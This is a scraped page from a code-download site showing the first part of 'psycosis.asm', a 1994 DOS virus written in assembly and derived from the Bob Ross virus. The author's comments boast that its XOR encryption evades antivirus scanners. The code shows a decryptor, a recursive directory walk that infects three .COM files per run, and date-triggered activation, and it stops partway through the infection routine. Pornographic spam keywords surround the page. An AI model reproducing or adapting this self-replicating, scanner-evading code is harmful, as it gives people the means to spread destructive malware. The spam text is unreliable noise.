亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? psycosis.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
; VirusName : PSYCOSIS
; Origin    : Sweden
; Author    : The Unforgiven
; Date      : 03/01/94

; This is yet another mutation of the Bob Ross virus, written by Dark
; Angel of Phalcon/Skism in September 1991. In my last version of this
; virus, I excluded the encryption, and included some destructive code
; instead. In this one, I added a new encryption, and thereby it went
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
; heuristics scanner says that it "probably" is infected with some
; unknown virus. The "standard" heuristic gets some flags, but not
; enough to say that it's infected. Therefor I'd like to claim that
; the scanners sucks!

; I had thought to change much more in the code, for example the
; spreading routine. This virus will search the whole tree for
; files to infect, and becomes therefor pretty slow, and easily
; detected. But hell, it spreads!, Hm, 3 files each run!..

; It also contains a resident printing part, which under some
; specific conditions will print some messages, in the top of the
; screen. If you're afraid that you are infected with this virus,
; just set the date to 0606 any year, and wait for some minutes. 
; If a sudden message shows up, delete your .COM file, which first
; character is an "&".

;=============================================================================
;			 **** PSYCOSIS ****
;=============================================================================

CODE    SEGMENT PUBLIC  'CODE'
        ORG     100h
        ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE

DTA_fileattr    EQU     21
DTA_filetime    EQU     22
DTA_filedate    EQU     24
DTA_filesize    EQU     26
DTA_filename    EQU     30

virus_marker    equ     026FFh   ; JMP WORD PTR
virus_marker2   equ     00104h   ; 0104h
part1_size      equ     part1_end - part1_start
part2_size      equ     part2_end - part2_start
offset_off      equ     duh2
init_delay      equ     5280    ; Initial delay
delay           equ     400     ; Subsequent delay
num_Messages    equ     7       ; Number of Bob messages
waves           equ     7       ; Number of waves to go off after
infec_date      equ     0606h   ; Date of psychosis .(swedish national day).

Counter         equ     108h
D_Mess          equ     110h
Int_08_Start    equ     112h

part1_start:
        jmp     word ptr duh
duh     dw      middle_part_end - part1_start + 100h
duh2    dw      0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
        cld
        call    decrypt
        mov     si, offset Go
        add     si, offset_off
        jmp     si

;encrypt_val     db      00h
encrypt_val      dw 0
decrypt:
encrypt:

         mov     si, offset encrypt_val
         add     si, offset_off
         mov     ah, byte ptr [si]

         mov     cx, offset part2_end - offset bam_bam
         add     si, offset bam_bam - offset encrypt_val
         mov     di, si
	 call	 cheater

xor_loop:
         lodsb                           ; DS:[SI] -> AL
         xor     al, ah
         stosb
         loop    xor_loop
         ret
cheater:
ret

copy_rest_stuff:
        push    si              ; SI -> buffer3
        call    encrypt
        mov     cx, part2_size
        pop     dx
        add     dx, offset part2_start - offset buffer3
        mov     ah, 40h
        int     21h
        call    decrypt
bam_bam:           
        ret

buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2   db part1_end - part1_start dup (?)
buffer3   dw ?
orig_path db 64 dup (?)
num_infec db 0                  ; Infection wave number
infec_now db 0                  ; Number files infected this time
root_dir  db '\',0		; root directory
com_mask  db '*.com',0		; files to infect
dir_mask  db '*.*',0		; files to search for
back_dir  db '..',0		; go "dot-dot".
nest      dw 0

DTA     db 43 DUP (0)           ; For use by infect_dir

Go:
        add     si, offset buffer - offset Go
        mov     di, si
        add     di, offset buffer2 - offset buffer
        mov     cx, part1_size
        rep     movsb

        mov     ah, 47h                 ; Get directory
        xor     dl,dl                   ; Default drive
        add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
        int     21h                     ;  in orig_path
        jc      Go_Error

        mov     ah, 3Bh                 ; Change directory
        mov     dx, si                  ;  to the root dir
        add     dx, offset root_dir - offset orig_path
        int     21h
        jc      Go_Error

        add     si, offset num_infec - offset orig_path
        inc     byte ptr [si]           ; New infection wave

        push    si                      ; Save offset num_infec

        add     si, offset infec_now - offset num_infec
        mov     byte ptr [si], 3        ; Reset infection
                                        ;  counter to 3
                                        ;  for D-new run.

        call    traverse_fcn            ; Do all the work

        pop     si                      ; Restore offset num_infec
        cmp     byte ptr [si], waves    ; 10 infection waves?
        jge     Go_Psycho               ; If so, activate

        mov     ah, 2Ah                 ; Get date
        int     21h
        cmp     dx, infec_date          ; Is it 07/09?
        jz      Go_Psycho               ; If so, activate
Go_Error:
        jmp     quit                    ; And then quit

Go_Psycho:
        jmp     Psycho

origattr  db 0
origtime  dw 0
origdate  dw 0
filesize  dw 0                  ; Size of the uninfected file

oldhandle dw 0

;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc    near
        push    bp                      ; Create stack frame
	mov	bp,sp
        sub     sp,44                   ; Allocate space for DTA
        push    si

        jmp     infect_directory
In_fcn:
        mov     ah,1Ah                  ;Set DTA
        lea     dx,word ptr [bp-44]     ; to space allotted
        int     21h                     ;Do it now, do it hard!

        mov     ah, 4Eh                 ;Find first
        mov     cx,16                   ;Directory mask
        mov     dx,offset dir_mask      ; *.*
        add     dx,offset_off
        int     21h
        jmp     short isdirok
gonow:
        cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
        je      short donext            ; If so, loop again
        lea     dx,word ptr [bp-14]     ;else load dirname
        mov     ah,3Bh                  ; and changedir there
        int     21h                     ;Yup, yup
        jc      short donext            ; Do next if invalid
        mov     si, offset nest         ; Else increment nest
        add     si, offset_off
        inc     word ptr [si]           ; nest++
        call    near ptr traverse_fcn   ; recurse directory
donext:
        lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
        mov     ah,1Ah                  ; and set DTA to it
        int     21h                     ; 'cause it might have changed

        mov     ah,4Fh                  ;Find next
        int     21h
isdirok:
        jnc     gonow                   ;If OK, jmp elsewhere
        mov     si, offset nest
        add     si, offset_off
        cmp     word ptr [si], 0        ;If root directory (nest == 0)
        jle     short cleanup           ; Quit
        dec     word ptr [si]           ;Else decrement nest
        mov     dx,offset back_dir      ;'..'
        add     dx, offset_off
        mov     ah,3Bh                  ;Change directory
        int     21h                     ; to previous one
cleanup:
        pop     si
	mov	sp,bp
	pop	bp
	ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================

Goto_Error:
        jmp     Error

enuff_for_now:
                                        ;Set nest to nil
        mov     si, offset nest         ; in order to
        add     si, offset_off          ; halt the D-Cool
        mov     word ptr [si], 0        ; traversal fcn
        jmp     short cleanup
return_to_fcn:
        jmp     short In_fcn            ;Return to traversal function

infect_directory:
        mov     ah, 1Ah                 ;Set DTA
        mov     dx, offset DTA          ; to DTA struct
        add     dx, offset_off
        int     21h

find_first_COM:
        mov     ah, 04Eh                ; Find first file
        mov     cx, 0007h               ; Any file
        mov     dx, offset com_mask     ; DS:[DX] --> filemask
        add     dx, offset_off
        int     21h                     ; Fill DTA (hopefully)
        jc      return_to_fcn           ; <Sigh> Error #E421:0.1
        jmp     check_if_COM_infected   ; I<___-Cool! Found one!

find_next_file2:
        mov     si, offset infec_now    ; Another loop,
        add     si, offset_off          ;  Another infection
        dec     byte ptr [si]           ;  Infected three?
        jz      enuff_for_now           ;   If so, exit
find_next_file:
        mov     ah,4Fh                  ; Find next
        int     21h
        jc      return_to_fcn

check_if_COM_infected:
        mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
        add     si, offset_off
        cmp     byte ptr [si], 'D'              ; ??????D.COM?
        jz      find_next_file                  ; don't kill COMMAND.COM

        mov     ax,3D00h                        ; Open channel read ONLY
        mov     dx, si                          ; Offset Pathname in DX
        sub     dx, 6
        int     21h                             ; Open NOW!

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
中文字幕一区二区三区四区| 天堂蜜桃一区二区三区| 亚洲国产另类av| 激情久久五月天| 欧美综合在线视频| 欧美国产成人在线| 免费高清在线一区| 在线欧美小视频| 国产精品久久久99| 国产乱码精品一区二区三| 欧美一区二区视频网站| 亚洲精选一二三| 不卡av在线免费观看| 久久亚洲精华国产精华液| 欧美a一区二区| 欧美女孩性生活视频| 亚洲精品中文字幕乱码三区 | 国内精品写真在线观看| 精品欧美黑人一区二区三区| 日韩一卡二卡三卡四卡| 亚洲精品高清在线| 丁香婷婷综合网| 久久久久久久精| 国精产品一区一区三区mba桃花| 欧美日韩激情一区二区三区| 亚洲在线免费播放| 在线影院国内精品| 一区二区三区欧美亚洲| 99久久国产综合色|国产精品| 国产亚洲女人久久久久毛片| 国内国产精品久久| 精品国产第一区二区三区观看体验 | 久久久精品欧美丰满| 久久不见久久见免费视频1| 欧美一区二区三区影视| 老汉av免费一区二区三区| 五月激情六月综合| 中文字幕一区二区三区不卡| 国产69精品久久99不卡| 国产精品免费视频网站| 成人永久免费视频| 成人免费在线视频观看| 在线中文字幕不卡| 三级久久三级久久| 日韩精品中文字幕一区| 国产精品一二三四区| 国产丝袜美腿一区二区三区| gogo大胆日本视频一区| 一区二区三区不卡视频| 制服丝袜成人动漫| 国产麻豆成人传媒免费观看| 国产色91在线| 色丁香久综合在线久综合在线观看| 亚洲制服丝袜一区| 欧美一级黄色录像| 粉嫩av一区二区三区在线播放| 1区2区3区欧美| 欧美日韩久久一区| 欧美日韩高清一区| 午夜激情综合网| 精品久久久久久最新网址| 国产很黄免费观看久久| 亚洲精品国产无天堂网2021| 日韩欧美综合在线| 成人的网站免费观看| 午夜不卡av在线| 久久久久亚洲蜜桃| 在线免费视频一区二区| 狠狠v欧美v日韩v亚洲ⅴ| 国产精品国产三级国产普通话蜜臀| 91极品视觉盛宴| 国内精品嫩模私拍在线| 亚洲精品高清视频在线观看| 精品久久久久久久久久久久久久久| 99久久国产综合精品色伊| 奇米亚洲午夜久久精品| 亚洲视频一区二区免费在线观看| 制服丝袜亚洲色图| 色琪琪一区二区三区亚洲区| 精品一区二区免费在线观看| 亚洲午夜一区二区| 国产精品超碰97尤物18| 狠狠色丁香婷婷综合久久片| 激情综合亚洲精品| 亚洲免费色视频| 欧美不卡视频一区| 欧美三级午夜理伦三级中视频| 国产乱码精品一区二区三区忘忧草| 亚洲午夜激情网页| 中文字幕一区二区三区精华液 | 色婷婷av一区二区三区软件| 精品一区二区三区蜜桃| 午夜欧美大尺度福利影院在线看| 国产精品久久福利| 国产欧美日韩视频在线观看| 欧美一区二区视频在线观看| 欧美日韩综合不卡| 91一区二区在线观看| 国产suv精品一区二区6| 国产一区中文字幕| 免费观看91视频大全| 日韩国产在线一| 日韩成人一区二区| 中文字幕一区二区在线观看| 2021中文字幕一区亚洲| 91精品国产91久久综合桃花| 欧美在线看片a免费观看| 成人av一区二区三区| 国产成人鲁色资源国产91色综| 蜜桃在线一区二区三区| 青青草原综合久久大伊人精品| 亚洲成人精品影院| 亚洲国产日日夜夜| 午夜精品一区二区三区免费视频| 一区二区三区国产豹纹内裤在线| 亚洲精品成人悠悠色影视| 国产精品免费久久久久| 欧美国产日韩在线观看| 国产精品丝袜久久久久久app| 国产无一区二区| 欧美国产精品中文字幕| 综合久久久久久| 亚洲一区二区在线免费观看视频| 亚洲视频你懂的| 亚洲chinese男男1069| 一区二区三区精品| 亚洲精品一二三区| 亚洲高清视频中文字幕| 午夜精品久久久久久久久 | 欧美mv和日韩mv的网站| 精品国产精品网麻豆系列| 久久综合色婷婷| 中文在线免费一区三区高中清不卡| 国产精品久久久久久久久免费樱桃| 亚洲天堂成人网| 亚洲电影中文字幕在线观看| 亚洲成人久久影院| 国产一区二区免费看| 白白色 亚洲乱淫| 欧美色视频在线| 欧美xxxxx裸体时装秀| 久久新电视剧免费观看| 中文字幕一区二区三区乱码在线| 亚洲电影视频在线| 久久激情综合网| 99免费精品在线观看| 欧美理论片在线| 欧美极品xxx| 午夜av电影一区| 国产成人午夜99999| 在线视频国内自拍亚洲视频| 97久久人人超碰| 成人免费高清视频| 色偷偷88欧美精品久久久| 91精品国产综合久久小美女| 久久天堂av综合合色蜜桃网| 亚洲乱码国产乱码精品精可以看| 日韩国产精品久久久久久亚洲| 懂色av一区二区三区免费观看 | 欧美激情在线观看视频免费| 一区二区三区四区视频精品免费 | 日韩欧美综合一区| 亚洲欧洲99久久| 精品一区二区精品| 欧美日韩综合色| 国产精品麻豆欧美日韩ww| 美女视频一区二区三区| 色www精品视频在线观看| 久久丝袜美腿综合| 日本中文字幕一区| 在线免费观看一区| 亚洲国产精品精华液网站| 午夜成人免费视频| 99精品国产一区二区三区不卡 | 日本韩国欧美国产| 久久久久久久久久久久电影| 午夜激情一区二区三区| av午夜一区麻豆| 国产日产亚洲精品系列| 久久精品国产久精国产爱| 欧美日韩性生活| 亚洲乱码中文字幕综合| 国产91精品久久久久久久网曝门| 日韩你懂的在线播放| 亚洲高清免费观看| 欧美自拍偷拍一区| 亚洲欧美另类久久久精品| 粉嫩嫩av羞羞动漫久久久| 久久精品夜色噜噜亚洲a∨| 日本不卡不码高清免费观看| 欧美日韩久久不卡| 亚洲午夜精品在线| 欧美亚洲一区二区三区四区| 一区二区三区精品视频在线| 91在线你懂得| 亚洲人成精品久久久久久| 不卡大黄网站免费看| 国产精品国模大尺度视频| 不卡的av中国片| 亚洲欧美一区二区三区孕妇|